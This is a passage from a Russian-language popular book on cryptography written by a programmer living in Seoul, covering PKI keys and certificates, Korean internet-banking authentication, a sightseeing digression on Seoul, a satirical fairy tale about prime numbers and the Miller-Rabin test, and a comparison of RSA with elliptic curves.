необходимых для каких-то целей. А каких? Как правило, для

аутентификации (подтверждения подлинности) клиента на каком

то сервере. Тут мы плавно переходим к продолжению

предыдущей главы: есть криптографические стандарты, а для

чего они нужны и как их использовать?

Когда какой-то человек приходит в отделение банка, то его

просят представиться: кто вы и что вам здесь надо. Если тот же

человек пытается зайти на банковский сервер, то сервер делает

фактически то же самое – пытается проверить подлинность и

цели обратившегося к нему клиента. А как это сделать? Одним

из распространенных методов проверки подлинности клиента

- 25 -

является его криптографическая аутентификация, т.е. проверка

подлинности с помощью криптографических методов.

Дальше нам потребуются три источника и три составных части

PKI: private key, public key и сертификат. Читатели, знакомые с

этими понятиями, смело могут перевернуть эту страницу или

отлучиться на минутку по каким-то неотложным делам. Когда

вернетесь, все эти заморочки закончатся, у вас уже будет

готовый персональный сертификат. Ну а с остальными – курс

криптографического ликбеза.

Криптографическая аутентификация предполагает проверку

электронно-цифровой подписи (ЭЦП) клиента. А нормальная

ЭЦП, в свою очередь, предполагает наличие у клиента ключа

для подписи, а у сервера – ключа для проверки подписи клиента.

Ключ, с помощью которого клиент осуществляет подпись,

называется private key, а ключ, с помощью которого сервер

осуществляет проверку подписи клиента – public key. По-русски -

закрытые и открытые ключи.

Вопросы и ответы.

 

1. Есть ли у клиента его открытый ключ?

Есть.

2. Есть ли у сервера закрытый ключ клиента?

Нет.

3. Связаны ли между собой закрытые и открытые ключи?

Да, связаны, каждому закрытому ключу соответствует

строго определенный открытый ключ.

4. Можно ли по закрытому ключу определить открытый ключ?

Да.

5. Можно ли по открытому ключу определить закрытый?

Нет.

 

Детская писательница Агния Барто в таких случаях говорила:

«Мы с Тамарой ходим парой...». Точно так же, парой, ходят по

криптографическим просторам public and private keys. И

называют их key pair, а в интерфейсе PKCS # 11 функция их

выработки тоже называется C_GenerateKeyPair. Тандем, если кто

следит за политикой в современной России.

Ну и, как принято в тандеме, один главнее. Private key,

несомненно, главнее.

В общих словах, про тандем все. Если кто заинтересуется

- 26 -

подробностями: каким образом строятся и используются в ЭЦП

закрытый и открытые ключи – милости прошу на Wikipedia.

Теперь о сертификате. Открытый ключ еще называют

публичным, потому что он у всех на виду. А появляться на

публике голому открытому ключу просто неприлично. Вот его

приодевают и приукрашивают в специальной организации,

называемой Центром Сертификации (ЦС) или, по терминологии

Microsoft, Certification Authority (CA). Приодетый и приукрашенный

открытый ключ, получивший в ЦС персональную ЭЦП, и принято

называть сертификатом.

Как приодевают и приукрашивают в ЦС открытый ключ –

особая песня. Различных атрибутов в сертификате может быть

великое множество: фамилия, имя, отчество владельца, его

должность, место работы, место жительства, электронная почта

и т.д. и т.п. Указывается также назначение ключа (key usage или

extended key usage): для подписи или шифрования электронной

почты, для идентификации пользователя на сервере, для

подписи программных кодов, для EFS (Encrypted File System) и

прочая, прочая, прочая. В сертификате обязательно

присутствуют срок действия ключа и электронная подпись ЦС.

Здесь опять же, пробегая галопом по такой необъятной теме, как

состав информации, включаемой в сертификат, я

руководствовался принципами гуманизма к обычному читателю,

стараясь не перегружать далекого от криптографии человека

всеми нюансами, связанными с созданием в современных

информационных системах персональных сертификатов.

Вкратце: это «одетый» открытый ключ, получивший «паспорт» -

персональную ЭЦП в ЦС. «Одежд» может быть много, иногда и

самых экзотических: корейцы, например, включают в свои

сертификаты хеш-функцию от национального ID и некоторого

случайного числа – это их персональный атрибут, который

называется KR, по-видимому, Korean Random.

Ходят слухи, что в одной стране хотят включить в персональный

публичный сертификат чиновника размеры взяток, которые

можно дать ему по Internet, и создать автоматизированную

систему электронного взяткооборота, являющуюся частью

электронного ....

О трех источниках и трех составных частях PKI: public,

private keys and certificates – пока хватит. Надеюсь, что даже у

- 27 -

непросвещенных читателей сложилось некоторое общее

представление об этих понятиях, пора поговорить и о CA –

Центре выдачи сертификатов, той организации, где «одевают»

поступившие к ним public keys.

Возможно, это именно тот случай, когда нужно

вмешательство государства в криптографические проблемы.

Ведь CA должен быть той организацией, которой все доверяют.

Именно CA своей ЭЦП подтверждает, что содержащийся в

сертификате открытый ключ принадлежит именно тому, кто

прописан в его атрибутах, и что этому клиенту можно доверять.

Как CA это делает – к криптографии в большинстве случаев не

имеет прямого отношения.

Общенациональный CA я бы сравнил с эмиссионным

центром, печатающим денежные купюры, которым все доверяют.

Наличие общенационального CA является признаком

высокоразвитости страны, наличия в ней общедоступных

современных технологий электронной коммерции и электронного

документооборота. Хотя, наверное, я бы назвал условие

наличия национального CA достаточным, но не необходимым.

Internet-технологии, как правило, не знают национальных границ,

сейчас в мире уже существуют общепризнанные CA такие, как

VeriSign, GlobalSign, DigiCert и другие.

Процесс получения персонального сертификата в CA

является одним из первоначальных понятий в PKI. Как составить

запрос на сертификат (PKCS # 10), что в него включить, как

получить готовый сертификат из CA: online (Enterprise CA) или

offline (Stand alone CA) – вот те проблемы, которые должны быть

решены в PKI. В отличии от России (offline) у корейцев offline не

может использоваться просто по определению: только online!

Никаких чиновников, только диалог компьютеров в режиме

реального времени. И, завершая эту часть PKI, посвященную

диалогу с CA, отмечу три ключевых слова: new, renew, revoke. По

русски: клиент должен иметь возможность в режиме реального

времени:

- запросить новый сертификат;

- обновить действующий сертификат;

- отменить действующий сертификат.

Все эти возможности у корейцев реально реализованы, любой

пользователь любого корейского банка при открытии счета

- 28 -

получает свои персональные коды для Internet Banking.

Программное обеспечение PKI, являющееся фактически ActiveX

компонентой, автоматически и бесплатно скачивается с сайта

банка, и с помощью этого ActiveX и полученных в банке

персональных кодов пользователь бесплатно в режиме online

получает в общенациональном сертификационном центре

Yessign сертификат, который затем может быть использован в

системе Internet Banking любого корейского банка. Читателя,

испугавшегося слова ActiveX, хочу успокоить: не надо бояться,

оно не кусается. Это такие специальные динамические

библиотеки, которые, в частности, могут понимать и выполнять

некоторые функции, вызываемые из браузера Internet Explorer.

А теперь о том, как у корейцев организован диалог

клиентского компьютера с банковским сервером.

С черного хода. В том смысле, что основной диалог клиента с

сервером происходит через обычный порт, через который

работает протокол HTTP, а та часть диалога, где требуется

авторизация клиента, в результате чего он получает доступ к

своему банковскому счету – через другой, причем у разных

банков эти порты тоже могут быть разные. И у всех, как правило,

этот порт отличен от стандартного 443 – порта HTTPS. И

шифруется при этом не все подряд, а только конфиденциальная

информация.

Если героический читатель-непрограммист все честно

дочитал до этого места и заинтересовался подробностями

диалога клиентского компьютера с корейским банковским

сервером, то хочу по секрету сообщить, что этот диалог очень

похож на диалог клиент-сервер в протоколе HTTPS. Вот только

конфиденциальные страницы браузер получает с сервера не

сам, а через ActiveX, о котором уже шла речь при получении

сертификата. Этот же ActiveX выполняет и функции соединения

с банковским сервером через специальный порт (handshake –

привет-привет, давай пообщаемся, ну и так далее...).

Что же в результате получилось?

Вместо грубой силы – сломаем Windows так, чтобы HTTPS

работал по нашему – корейский клиент, ничего не ломая,

протаптывает собственную тропочку к банковскому серверу и по

ней уже ведет свои дела с персональным банковским счетом.

- 29 -

Ведет честно, по правилам SSL, только шифрует при этом не

весь протокол, а только то, что является конфиденциальной

информацией на странице и с использованием корейского

национального алгоритма симметричного шифрования SEED.

В Интернете я наткнулся на интересную презентацию, которую

приготовил mr. Jae-IL, Lee, Vice President of Korea Information

Security Agency and Secretary General of Korea PKI Forum. В ней

дается краткое представление о PKI наиболее развитых стран

азиатско-тихоокеанского региона: Южной Кореи, Китая, Японии,

Сингапура, Тайваня, Таиланда и Индии. В частности, с момента

появления PKI в феврале 1999 года в Корее было выдано

примерно 11 миллионов сертификатов, а в Китае – 5 млн. с

августа 2004. По остальным странам даются только даты

появления PKI: в Японии – апрель 2001, Сингапур – 1998 год,

Тайвань – апрель 2002, Таиланд – 2001 год, Индия – июнь 2000.

Россия в этой презентации даже не упоминается.

В самой Корее действует 6 национальных

сертификационных центров.

- 30 -

Около 70% выданных сертификатов используются для Internet

Banking

- 31 -

Мне, безусловно, после первой пары лет «въезжания» в

международные криптографические стандарты захотелось

въехать и в корейские протоколы обмена клиента с банковским

сервером. Как полноценный зарубежный специалист,

официально зарегистрированный в корейской иммиграционной

службе, я имел свой ID и свои счета в корейских банках,

следовательно, фактически ничем не отличался от корейца и

реально использовал их Internet Banking. Я попытался написать

своего клиента, который мог бы успешно общаться с корейским

банковским сервером и совершать банковские операции от моего

имени. Стандартный корейский клиент, автоматически

загружаемый с банковского сервера на мой компьютер, иногда

вдруг переходил на корейский язык и выдавал какие-то

непонятки для русского программиста.

Корейский банковский сервер, как и сами корейцы, имел

дружественный интерфейс и терпеливо выносил все мои муки

творчества при создании собственного клиента. Примерно через

месяц я научился с ним здороваться и получать доступ к своему

банковскому счету с помощью своего клиента.

«... Есть надписи на русском языке» как пел В.С.Высоцкий.

 

 

 

Сеул

 

 

 

 

Переменка! Отдохнем от криптографии и прогуляемся по

Сеулу. Я временно переквалифицируюсь в экскурсовода.

Давно-давно (в 60-70–х годах прошлого века) в Советском

Союзе город Сеул преподносился в основном в виде

словосочетания «сеульский режим». И вот – если мне сейчас не

изменяет память, во время или сразу после Московской

Олимпиады 1980 года - пришло известие: МОК избрал Сеул

столицей летних Олимпийских Игр 1988 года. Ну и ну –

удивлялись тогда простые советские люди – неужели нельзя

было выбрать что-нибудь получше?

- 32 -

9
9
9
8

А получился очень даже неплохой выбор. После взаимных

бойкотов (1980 год – западные страны бойкотировали

Московскую Олимпиаду, а в 1984 – социалистические страны

Олимпиаду в Лос-Анджелесе) в Сеуле собрались все лучшие

спортсмены и весь мир увидел, что Южная Корея стала

современной цивилизованной страной. В Сеуле в память об этой

Олимпиаде остался прекрасный Olympic Park, где до сих пор

можно увидеть олимпийские кольца и флаги стран-участниц той

Олимпиады.

- 33 -

1) Тут нет никаких сомнений: Private and Public Keys.

2) SSL – защищенный сетевой протокол.

3) Это, безусловно, Центр Сертификации: public key поднимается

по ступенькам в кабинку, где его одевают.

4) Нечто вроде защищенного банковского сервера.

Здесь есть забавные скульптуры, которым, при желании, можно

придумать и криптографические названия.

Я назвал бы эту замечательную скульптуру OpenSSL –

криптография, которая долгое время была скрыта от широкой

публики, наконец-то выбралась наружу.

- 34 -

1 2 3 4

9
9
9
8

- 35 -

Особую память хранят корейцы о войне 1950-53 годов между

Севером и Югом. История этой войны вкратце такова: вначале

Северная Корея оккупировала практически весь Корейский

полуостров, но затем в ход боевых действий вмешалась ООН и

послала на помощь Южной Корее войска, в основном

американские. В результате теперь уже Южная Корея заняла

практически всю Корею. Тут в ход боевых событий вмешались

Китай и СССР и в конце концов линия фронта

стабилизировалась по 38-й параллели – практически там, где

сейчас демаркационная линия, разделяющая Север и Юг.

Эта война прекратилась вскоре после смерти Сталина. После ее

окончания Север пошел по пути СССР, а Юг – США. Кто и куда в

результате пришел – сейчас спустя почти 60 лет стало очевидно

всем. Северная Корея – к идеям чучхе и миске риса в день.

Южная – к азиатскому экономическому тигру, завалившему пол

мира своей электроникой и автомобилями. Мирные и

дружелюбные южные корейцы сразу же становятся

настороженными и непримиримыми, когда речь заходит о

Севере. И неудивительно: сколько раз северокорейские вожди

грозились сжечь Сеул!

К сожалению здесь, как и в коммерческой криптографии,

американский «проект» оказался успешнее советского.

В память о той войне в центре Сеула есть большой мемориал. Я

несколько раз побывал на нем, вот фотографии.

Главный вход. «Only strong national security can guarantee peace»

- вот его девиз. Для корейцев это не пустые слова – Северная

Корея с ее идеями чучхе – всего в 150 километрах от Сеула.

К тем событиям почти 60-летней давности у корейцев отношение

философское. Сейчас все стало на свои места, большие

перемены произошли в Китае и СССР – у бывших противников.

Нет у корейцев злобы на русских, убедился в этом сам за все 6 с

лишним лет проживания в Сеуле. Но помнить об этой никому не

нужной войне необходимо, это очевидно всем. И корейцы

помнят! Перед входом в мемориал установлены образцы

военной техники противоборствующих сторон. Американская

техника – с табличками синего цвета, советско-китайская –

красного. Русскому, с одной стороны, есть повод гордиться:

смотрите, какие у нас хорошие танки и пушки, а с другой – какого

черта их занесло в эту далекую миролюбивую страну? Для

мировой революции?

- 36 -

9
9
9
8

- 37 -

Особой любовью у корейцев пользуются цветы. Они везде. С

наступлением весны Сеул расцветает в самом прямом смысле

этого слова. А из цветов особенно популярны розы. Есть даже

специальный Rose Garden, в котором даже погруженному в свои

математические мысли криптографу невозможно оторвать взгляд

от их красоты.

9
9
9
8

- 38 -

Ну и в заключение краткой экскурсии по Сеулу, нельзя не

упомянуть про корейские горы. Корея, по российским

масштабам, - совсем маленькая страна, размером с Московскую

область, причем 70% ее территории – горы. Проживают в ней

почти 50 миллионов человек и, естественно, в таких условиях

загородных дач практически ни у кого нет. Привычные

россиянину поездки на дачу в weekend корейцам заменяет

лазание по горам. Горы есть даже в самом Сеуле, до них можно

добраться на метро и потом полдня карабкаться по

оборудованным горным тропочкам, наслаждаясь свежим

воздухом, родниковой водой и великолепными горными

пейзажами.

9
9
9
8

- 39 -

Звонок! Перемена закончилась, пора заняться криптографией,

точнее – RSA. Это просто сказка...

 

 

 

Сказка про числа, которые не хотели ни с кем

делиться

 

 

В действительном множестве, рациональном подмножестве

жили-были натуральные числа. То есть числа 1, 2, 3, 4, 5 и т.д.

Их еще иногда «числами в натуре» называли. Основным

занятием натуральных чисел было умножаться-делиться в

соответствии с операциями умножения и деления. Про

умножение – все понятно, любое число могло умножаться с

любым другим числом без проблем, а вот с делением все

обстояло куда как сложнее. Не со всяким другим числом могло

делиться натуральное число, бывало заартачится: не хочу с ним

делиться, хоть обнуляйте меня совсем! Столько споров и

дискуссий вызывала эта операция деления натуральных чисел,

что в конце концов она-то и стала главной в этой сказке.

 

Понятно, что все делились с числом 1, это число было вроде как

Царь-Батюшка во всем множестве натуральных чисел (МНЧ). Но

деление с этим числом было совсем безобидное, в результате

такого деления каким было число до деления, таким и

оставалось после него, вроде как лозунг «Коммунизм победит» в

советское время – количество мяса в магазинах от него не

изменялось. Поэтому все натуральные числа периодически

исполняли этот религиозный обряд – деление на 1 – без каких

либо последствий для себя, просто как символ верности МНЧ и

проводимой им политике арифметических операций.

 

У числа 1, как и у любого нормального Царя, была своя

Администрация, где утверждали важнейшие арифметические

Законы МНЧ: кто, с кем и как будет делиться. А в штате

Администрации были молоденькие запятые, которые целыми

днями отпечатывали эти законы на пишущих машинках, ибо

компьютеров в те далекие времена в МНЧ еще не знали.

- 40 -

 

Ну а о другом важном числе – 0 - нельзя со 100% уверенностью

сказать, что оно жило в МНЧ. У него был специальный особняк,

который все другие числа называли Конторой числа 0, или

просто Конторой. Все числа из МНЧ побаивались числа 0, а

причина – простая. Само число 0 могло делиться на кого угодно,

после чего результат навсегда попадал в Контору, а вот если кто

то сам пытался делиться на 0, то его без лишних эмоций

превращали в лагерную пыль. То есть число 0 жило по своим

арифметическим законам, отличным от законов МНЧ, и ожидать

от него можно было всего, чего угодно.

 

Число 2 было хитрым. Оно разделило ровно пополам всех

обитателей МНЧ на тех, кто с ним делился, и тех, кто это делать

категорически отказывался. Первых число 2 называло честными

и даже создало из них специальную партию: Партию Честных

Чисел. Мы ее, для краткости и по привычке, всюду в этой сказке

будем звать просто партией. В партии, как и положено, было

создано Политбюро из наиболее известных честных чисел: 2,4,6

и 8. Параграф 1 Устава партии гласил, что в ней могут состоять

любые числа, признающие Устав и Программу партии и

оканчивающиеся на одного из членов Политбюро. Устав приняли

под бурные и продолжительные аплодисменты, но когда число 2

принесло его на согласование в Контору, там параграф 1

дополнили: и 0. Так его и утвердил Царь. А Программа партии

была простая: наша цель – бесконечность. Эту программу Царь

признал светлым будущим всех прогрессивных чисел из МНЧ.

 

В партии сразу же появились карьеристы, которые стремились

поделиться с числом 2 не один, а целых два раза. Они

попытались было, по примеру старших товарищей, создать

партию честных – пречестных чисел, но Царь сказал, что и

одной партии вполне достаточно, две народ просто не

прокормит. Так что название «честное-пречестное число»

осталось на уровне анекдотов и народного фольклора.

 

Число 2, как партийный вождь, было очень идейным. «Удвоение

ВВП», «Две нормы за смену» - такие лозунги постоянно

появлялись

- 41 -

на улицах МНЧ. Оно также очень скрупулезно следило за

чистотой партийных рядов, не разрешая одному члену партии

делиться на другого. Иногда за такие проступки могли и

партбилет отобрать.

 

А вот за числом 3 закрепилась - как бы это поделикатнее сказать

- отличная от числа 2 репутация. Алкогольная. Как соберутся в

weekend числа отметить какое-нибудь событие, так обязательно

разобьются на группы по три числа в каждой. Часто болела

головушка у числа 3, допилось оно в результате до чертиков и

стало мистическим символом МНЧ: три богатыря, три белых

коня, пятилетку – в три года. Тяжело было числам из МНЧ

строить свое светлое будущее – бесконечность, вот и

почитателей у числа 3 было достаточно. Вместо красных носов у

чисел ходило такое правило: число является алкоголиком, если

сумма его цифр – алкоголик. Так и утвердил это правило Царь.

 

Еще пару слов про число 5. Оно было в Президиуме всех

праздничных собраний и юбилейных дат, все в наградах и

орденах аж до самого своего нижнего кончика, поэтому и звали

число 5 нашим дежурным юбиляром. Безобидное число, партий

своих создавать не пыталось, а на выборах всегда выдвигалось

от единого и нерушимого блока честных и беспартийных.

Делились на него те, у кого на конце было 5. Или 0, справедливо

дополнили меня в Конторе.

 

Кстати, о Конторе. Там собирали разные сплетни из жизни МНЧ

и вот какую историю я узнал от местных аборигенов.

 

В гости к жителям МНЧ часто заезжали другие, ненатуральные

числа. И вот как-то раз приехал важный гость – заморское число

π, ему как раз на днях исполнилось ровно 100 лет – два

честных-пречестных юбиляра-разюбиляра. Естественно, по

такому случаю число π устроило праздничный банкет, на

который пригласило число 100 и другие числа: 1, 2, 4, 5, 10, 20,

25, 50, но только не 3. Число π терпеть не могло этого

алкоголика, с которым его вечно путали. Ну, понятное дело, дым

коромыслом, праздник в разгаре, гости начали разбиваться на

группы по 3 числа. А число π никак не хочет принимать участие

в группе из 3-х чисел, и, прихватив число

- 42 -

100, нашло себе компаньона – какого-то генерала с денщиком.

Получилась как бы группа не на троих, а, с учетом денщика, на

3,14. Число π было жутко довольно, и, как потом писало число

100 в донесении числу 0, рассказывало неприличные истории

про число 3. В частности, американский алгоритм шифрования

3DES – Triple DES – обзывало «Триппер DES».

 

Генерал хохотал весь вечер, к концу совсем расслабился, пил с

π и с 100 на брудершафт, потом его повели к очаровательным

запятым из ведомства числа 1 – в общем, жизнь удалась.

Наутро, не желая оставаться в долгу, генерал заявил, что

никогда не забудет этого банкета и в память о нем назовет какое

нибудь оружие.

 

Так в армии появился пистолет.

 

Но были в МНЧ и диссиденты: числа, не вступившие в партию, и

вообще, не желавшие ни с кем делиться, кроме Царя. В народе

их называли еще простыми числами. Строго говоря, и всеми

уважаемые числа 2, 3 и 5 тоже были простыми диссидентами, но

благодаря куче поклонников – других чисел из МНЧ, которые с

ними делились, - Царь считал их «своими» диссидентами и

никаких репрессий к ним не применял. А вот числу 13 не

повезло. Оно жило рядом с честным-пречестным числом 12 и

постоянно пыталось отучить его от алкоголизма. Как бы не так!

Число 12 написало кляузу в Контору, после чего отдел

Пропаганды Царя-Батюшки объявил число 13 причиной всех бед

и несчастий в МНЧ и обозвал его «чертовой дюжиной».

 

Так и жили тысячу лет в МНЧ, умножались и делились, стремясь

достигнуть светлой цели, записанной в Программе правящей

партии – бесконечности, но никак не могли этого сделать. А

когда провозглашается что-то заведомо недостижимое, то в

конце концов народ начинает выражать свое недовольство:

умножаемся, делимся, а все без толку, бесконечности так и нет.

Решив стравить пар народного недовольства, партийные вожди

однажды провозгласили перестройку: «Давайте делиться с

остатком!». Мол побесятся натуральные числа, наиграются, и

все вернется к прежним умножению и делению, когда никаких

тебе остатков, все – общее.

- 43 -

Контора сперва хотела принять радикальное решение: показать

всем этим вольнолюбцам настоящую бесконечность, обратив их

в лагерную пыль. Но хитрое число 2 надоумило Контору не

делать глупостей – не 37 год на дворе, надо действовать тоньше

и с выгодой для себя.

Наша цель – конечная группа!

 

Всем! Всем! Всем!

 

Натуральные числа! Не слушайте пропагандистов из партии

честных чисел – никакие они не честные! Врут они нам, что наша

цель – бесконечность, не достигнуть ее ни через 100, ни через

1000 лет, сколько бы мы ни умножались и делились. Наша цель

– конечная группа!

 

Вам забивают голову этой мистической бесконечностью, а мы

расскажем вам, как быстро создать реальную конечную группу.

 

Выбирайте себе модуль, умножайтесь и делитесь на него с

остатком! Частное выбрасывайте, а остатки образуют конечную

группу.

 

Нет бесконечности!!!

А народ в МНЧ был такой, что палец ему в рот не клади – руку

по локоть откусят. Раз провозгласила правящая партия деление

с остатком, то все сразу смекнули, что остаток-то – штука

неплохая. Главное, чтобы он в 0 не обратился, как было в

прежней, доперестроечной жизни. И вот ведь что еще негодяи

придумали – конечные группы. До того всем числам на всех

политзанятиях только и внушали: наша цель – бесконечность, а

тут - упала дисциплина, перестали слушать партийных

пропагандистов, а на улицах стали появляться

антиправительственные листовки: наша цель – конечная группа.

Сам такую листовку раз видел на площади прямо около

Конторы. Прихватил ее с собой, вот она.

- 44 -

Надо просто подсунуть горлопанам подходящий модуль.

Например, честного-пречестного алкоголика – число 12.

 

Идет как-то на нетвердых ногах число 3, а навстречу ему прямо

сияет честное-пречестное число 8.

 

- Давай вступим в конечную группу по модулю 12.

 

- Давай!

 

Вступили. Перемножились. Раньше такое сколько раз вытворяли

и в Контору за это никто не попадал. А тут как только привели

результат по модулю 12, глазом не успели моргнуть, как он уже в

Конторе.

 

Ну что, сынки, помогло вам ваше деление с остатком?

 

Возмутились числа: что такое, в конечной группе могут быть

делители нуля! Не делители, а осведомители – поправили их в

Конторе.

 

Приуныли натуральные числа. Неужели опять – все по-старому,

наша цель – бесконечность? А нельзя ли как-то получить

конечную группу без конторских осведомителей?

 

День думали, два, а на третий вспомнили о простых числах, тех,

которые ни с кем не делятся. Взяли, к примеру, соседа числа 12

– бедное и затравленное число 13. И, о чудо! Кто с кем в его

конечной группе ни умножался по модулю 13, а результат в

Контору так и не попал! Не верите? Проверьте сами.

 

И стали в МНЧ очень популярны числа, которые не хотели ни с

кем делиться. Как только выберут такое число модулем, так в его

конечной группе законность и порядок, все арифметические

операции выполняются четко и правильно, без всяких чуровых и

делителей-осведомитлей числа 0. Старик Евклид придумал

способ, как не только умножаться, но и делиться в такой

конечной группе, причем как умножаться, так и делиться стали

абсолютно все, от мала до велика, кто на кого захочет. Кроме,

естественно, числа 0, которому в этой группе места уже не было.

- 45 -

Контора была в ярости. Это кто ж теперь в модулях ходит? Без 0

в конце, беспартийные, непьющие, без юбилейных медалей! По

обычному ни с кем не делятся - простые! Да таких простых – раз

два – и обчелся! А как же светлое будущее – бесконечность? С

кем его строить-то будем, если все простые скоро закончатся?

 

Не закончатся – ответил Конторе старик Евклид в своих

«Началах».

 

На всякий случай в Конторе решили поставить все конечные

группы на учет под буквой Z, от слова zero - агентурной клички

числа 0: Z/2 – группа по модулю 2, Z/3 – группа по модулю 3 и

так далее. А натуральные числа, для конспирации, чтобы не

употреблять раздражающее Контору выражение «делиться в

конечной группе» заменили его на благородное «решать

сравнение первой степени по модулю».

 

Группа Z/2 была совсем неинтересной и состояла из одного

Царя-Батюшки – числа 1.

 

Группа Z/3 состояла из Царя и партийного Вождя – числа 2.

Забавные превращения там получались. Партийный вождь,

перемножившись сам с собой, превращался в Царя. Ну это еще

можно понять, такие превращения бывали не только у

натуральных чисел. А вот Царь-то, Царь – хорош гусь!

Поделившись на партийного Вождя, сам становился партийным

Вождем! Такие чудеса происходили только в этой VIP-группе, в

других группах и народу было поболее, и умножение-деление

повеселее.

 

Вскоре из конечных групп стали создавать нечто вроде ночных

клубов для отдыха трудящихся чисел: «Семеро козлят»,

«Футбольная команда», «Чертова дюжина», «17 мгновений

весны» и прочая, прочая, прочая.

 

Натуральные числа были рады их появлению. Особенно рад был

Царь-Батюшка. Сидит, бывало, в своем дворце целыми днями

один-одинешенек, и поделиться-то не с кем, ни на кого он не

делился. А тут, в конечной группе – делись с кем хочешь, хоть до

утра.

- 46 -

И число 2 меньше стало внимания уделять своей партии –

надоели, зануды. Пойдут, бывало, Царь вместе с партийным

Вождем в weekend в какие-нибудь «Мгновения» душу отвести,

наделиться всласть на всю трудовую неделю вперед, а там уже

и число 3 (меньше пить стало!) и 5 (без медалек!) и 12,

подружившееся с 13, все веселые, друг с другом делятся. Да и

вообще, все сразу же перевернулось с ног на голову, какие тут

партии и партбилеты! Без особых проблем число 2 согласилось

на переименование своей партии в множество, а тут еще

запятая из Администрации Царя, перепечатывая Указ о

деполитизации в МНЧ и думая о чем-то своем, девичьем,

пропустила одну букву, и вместо Ума, Чести и Совести нашей

эпохи – Партии Честных Чисел – получилось самое

обыкновенное множество четных чисел.

 

Но все это было несерьезно, развлекалочки какие-то. Серьезные

дела начались в МНЧ с появлением там персональных

компьютеров. Первым по достоинству оценило их появление

число 2. Оно ведь было не только хитрым, но и умным числом.

Вместо прикрытой за ненадобностью Партии Честных Чисел

число 2 создало очень нужную для компьютеров двоичную

систему счисления и теперь каждое число из МНЧ имело свое

двоичное представление на компьютере. В МНЧ появились и

такие немыслимые раньше слова, как информационные

технологии, информационная безопасность, электронно

цифровая подпись, RSA. А вот RSA как раз и стал таким

алгоритмом, в котором без простых чисел обойтись никак

невозможно. Только простые числа p и q для RSA нужны

большие – ведь они же секретный ключ! Думало – думало об

этом число 2 и решило, что длина простого числа в RSA, как

правило, должна быть 512 или 1024 бит. Пол-литра и литр – по

своему расшифровало эти значения число 3.

 

И брошен был клич: все на поиски больших простых чисел, пол

литровых и литровых, ибо без них не будет в МНЧ ни Internet

Banking, ни электронной коммерции, ни современной

цивилизации, а будем только вечно к бесконечности стремиться.

А простые числа – скромные, тихо сидят себе по своим

конечным группам, никаких явных признаков у них нет. Как их

отыскать в многотриллионном множестве натуральных чисел?

- 47 -

Задачу эту поручили Конторе. Ну а Контора – что с нее взять –

выполнила это поручение так, как умела.

 

Переписали в Конторе все простые числа до 256 и поехали по

отдаленным уголкам необъятного множества натуральных чисел.

Случайно заезжают в какую-нибудь глухомань и хватают там

первого попавшегося пол-литрового аборигена.

 

- Говори, падла, с кем делишься?

 

- Что Вы, что Вы, гражданин начальник, ни с кем не делюсь.

 

- Врешь, гад!

 

- Клянусь: век бесконечности не видать!

 

И начинают его делить на все припасенные простые числа, да

еще при каждом делении запятую к заду норовят присоединить.

Отвалилась запятая – врет, делится. Но даже если выдержал

мужичок все эти пытки, то Контора на этом не успокаивается.

 

- Говори, паскуда, сколько у тебя свидетелей простоты?

 

И вот только после того, как найдет такое число m достаточное

(log 2(m)) число свидетелей своей простоты, сажают его в

машину и везут в столицу: RSA-ключом будет. Всю эту

садистскую процедуру прозвали в МНЧ тестом Миллера-Рабина.

 

Вылавливают таким образом пару пол-литровых мужичков –

числа p и q, и готов секретный ключ. Перемножают их, получают

литровый открытый ключ - n, который затем одевают в нарядный

сертификат.

 

И, надо признаться, даже несмотря на эту садистскую процедуру,

чисел, желающих вырваться из деревенской глуши в столицу в

качестве RSA-ключей было предостаточно. А о том, чтобы всех

их просто пересчитать, не говоря уже об опробовании, не могло

быть и речи. Слишком много. Поэтому алгоритм RSA для пол

литровых и литровых простых чисел был признан стойким.

- 48 -

Вот так и получилось, что весь прогресс в МНЧ обеспечили

простые числа, т.е. числа, которые не хотели ни с кем делиться.

А современные информационные технологии целиком держатся

на глубинке множества натуральных чисел – случайных простых

числах длиной 512 и 1024 бит.

 

 

- 49 -

RSA vs EC

 

За те долгие годы, когда впервые было заявлено о

криптографии с открытым распределением ключей (середина 70

х годов прошлого века), реальными считаются фактически две

системы: RSA и система Диффи-Хеллмана. Алгоритмы RSA

основаны на сложности разложения большого числа на простые

множители, в то время как DH – алгоритмы Диффи-Хеллмана –

основаны на сложности логарифмирования в конечных полях.

Если на заре криптографии с открытым распределением ключей

в качестве полей для алгоритма DH выбирали конечные группы

Галуа, то где-то примерно с середины 90-х годов началось

повальное увлечение EC – elliptic curve - эллиптическими

кривыми, математический аппарат которых весьма схож с

аппаратом конечных полей и методом DH. Таким образом, в

современной криптографии есть два конкурирующих между

собой метода построения системы с открытым распределением

ключей: RSA и EC. И во всем мире началась дискуссия - что

лучше: RSA или EC. Какие же доводы могли привести

сторонники того или иного метода?

 

RSA.

 

1)Алгоритм проще, чем EC, с точки зрения реализации.

Бесспорным доказательством этого служит тот факт, что при

зашифровании с помощью RSA достаточно открытого ключа

получателя шифрованного сообщения, в то время как в EC

необходимо иметь пару: открытый ключ получателя – секретный

ключ отправителя. Если, к примеру, речь идет о защищенном

протоколе SSL, то при использовании EC появляются

дополнительные сложности. Если клиент не имеет своего private

key, то для установления соединения с сервером необходимо

выработать так называемый эфемерный ключ и включить

соответствующий ему открытый ключ в протокол обмена

сообщениями при handshake.

2)Процедуры шифрования и подписи для RSA реализуются с

помощью одной и той же функции, которая называется modular

exponent – возведение в степень по модулю. Если

реализовывать RSA на внутреннем процессоре Smart Card. то

реализация одной этой функции сразу позволяет осуществлять

- 50 -

как шифрование, так и подпись внутри Smart Card.

 

EC.

 

По сравнению с RSA, EC может похвастать только одним

преимуществом: «природа» эллиптических кривых и возможные

их параметры намного шире, чем у RSA, где весь

математический аппарат привязан к операциям с простыми

числами.

 

Эти особенности и определили судьбу двух основных

методов криптографии с асимметричными ключами.

- RSA – широкое распространение в коммерческой

криптографии, где в первую очередь требуется простота и

надежность реализации, минимизация ошибок в программном

обеспечении, которое может быть подготовлено многими

независимыми друг от друга программистами.

- EC – в государственной и военной криптографии, где в первую

очередь требуется оригинальность криптографических решений,

являющаяся дополнительным рубежом криптографической

защиты.

 

Безусловно, что такое разделение является очень общим, в

реальной жизни всегда есть множество оттенков и полутонов. Но

de facto RSA стал общепризнанным международным стандартом,

который вошел, в частности, в операционную систему Windows и

большинство мировых сертификационных центров заверяют

сертификаты только с помощью RSA.

Здесь нельзя не упомянуть об оценках стойкости алгоритмов

типа RSA и EC. Для RSA в 2010 году удалось успешно вскрыть

ключ длиной 768 бит, поэтому в настоящее время минимально

допустимой длиной RSA ключа является 1024 бит. Тогда же было

